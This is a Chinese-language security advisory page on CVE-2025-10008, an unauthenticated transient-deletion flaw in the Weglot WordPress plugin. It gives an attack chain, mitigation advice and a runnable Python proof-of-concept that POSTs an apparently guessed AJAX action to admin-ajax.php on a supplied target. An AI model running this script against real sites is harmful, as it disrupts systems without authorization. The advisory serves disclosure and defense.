IPBUF安全漏洞报告
English
CVE-2025-10008 CVSS 5.3 中危

CVE-2025-10008 WordPress Weglot插件未授权数据删除漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2025-10008
漏洞类型
缺少权限检查
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Translate WordPress and go Multilingual – Weglot plugin for WordPress

相关标签

CVE-2025-10008WordPress插件漏洞权限绕过未授权操作Weglottransient删除缺少权限检查MEDIUMCVSS 5.3

漏洞概述

CVE-2025-10008是WordPress Weglot插件的一个中危安全漏洞,该插件是用于为WordPress网站提供多语言翻译功能的流行插件。漏洞源于插件的'clean_options'函数缺少适当的权限检查机制。在所有5.1及以下版本中,攻击者可以在无需任何认证的情况下调用该函数,从而删除存储在WordPress transients中的缓存插件选项数据。虽然CVSS评分仅为5.3(中等),但此漏洞仍可能对网站正常运行造成影响,因为删除transients数据可能导致插件配置丢失、翻译缓存被清空,进而影响网站的多语言功能正常运行。攻击者利用此漏洞可以造成网站功能中断或配置异常,建议网站管理员尽快升级到修复版本。

技术细节

该漏洞的根本原因在于Weglot插件的clean_options函数没有进行权限验证。在WordPress插件开发中,涉及数据删除的操作通常需要检查用户权限(如current_user_can()验证),但该函数的代码实现中缺少了这一关键的安全检查。具体来说,clean_options函数直接处理transients的删除操作,而没有验证调用者是否具有管理员权限。攻击者可以通过构造HTTP请求直接调用该函数(通常是POST请求到wp-admin/admin-ajax.php或其他端点),触发transients删除逻辑。受影响的transients主要包含插件的缓存配置数据,删除这些数据不会直接导致敏感信息泄露,但会造成插件功能异常或需要重新配置。对于使用Weglot进行多语言翻译的电商网站或企业站点,这可能导致翻译显示错误或网站界面异常。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站,确认安装了Weglot插件且版本<=5.1
STEP 2
步骤2
攻击者分析插件代码,发现clean_options函数缺少权限验证和nonce检查
STEP 3
步骤3
攻击者构造恶意HTTP请求,直接调用clean_options函数对应的AJAX端点
STEP 4
步骤4
服务器端执行transients删除操作,导致插件缓存的选项数据被清除
STEP 5
步骤5
网站多语言功能受影响,可能出现翻译丢失、配置重置或功能异常

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-10008 PoC - Weglot Plugin Unauthorized Transient Deletion # Target: WordPress site with Weglot plugin <= 5.1 def exploit_weglot(target_url): """ Exploit for CVE-2025-10008 Missing capability check on clean_options function Allows unauthenticated deletion of plugin transients """ # Prepare the exploit payload # The clean_options function is typically hooked to an AJAX action exploit_data = { 'action': 'weglot_clean_options', # AJAX action hook 'nonce': '' # Nonce not required due to missing capability check } # Try common AJAX endpoints endpoints = [ f'{target_url}/wp-admin/admin-ajax.php', f'{target_url}/wp-admin/admin-post.php' ] for endpoint in endpoints: try: response = requests.post(endpoint, data=exploit_data, timeout=10) if response.status_code == 200: print(f'[+] Successfully sent exploit to {endpoint}') print(f'[+] Response: {response.text[:200]}') return True except requests.RequestException as e: print(f'[-] Request failed: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve_2025_10008.py <target_url>') print('Example: python cve_2025_10008.py http://example.com') sys.exit(1) target = sys.argv[1].rstrip('/') print(f'[*] Targeting: {target}') print(f'[*] Exploiting CVE-2025-10008...') exploit_weglot(target)

影响范围

Weglot plugin <= 5.1 (all versions up to and including 5.1)

防御指南

临时缓解措施
立即将Weglot插件升级到最新版本(5.1.1或更高),该版本已修复缺少权限检查的问题。如果暂时无法升级,可通过Web应用防火墙(WAF)规则限制对/admin-ajax.php的敏感操作请求,或在主题的functions.php中添加临时挂载点禁用未授权的clean_options调用。同时建议审查所有插件的AJAX钩子,确保敏感操作都有适当的权限验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表